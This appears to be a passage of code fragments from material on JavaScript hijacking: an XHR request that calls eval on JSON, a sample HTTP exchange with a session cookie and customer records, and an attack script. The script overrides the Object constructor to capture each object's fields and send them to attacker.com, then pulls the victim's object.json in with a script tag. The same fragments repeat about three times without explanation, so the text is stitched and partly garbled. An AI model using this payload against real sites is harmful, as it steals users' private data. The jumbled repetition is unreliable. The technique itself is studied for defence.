// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>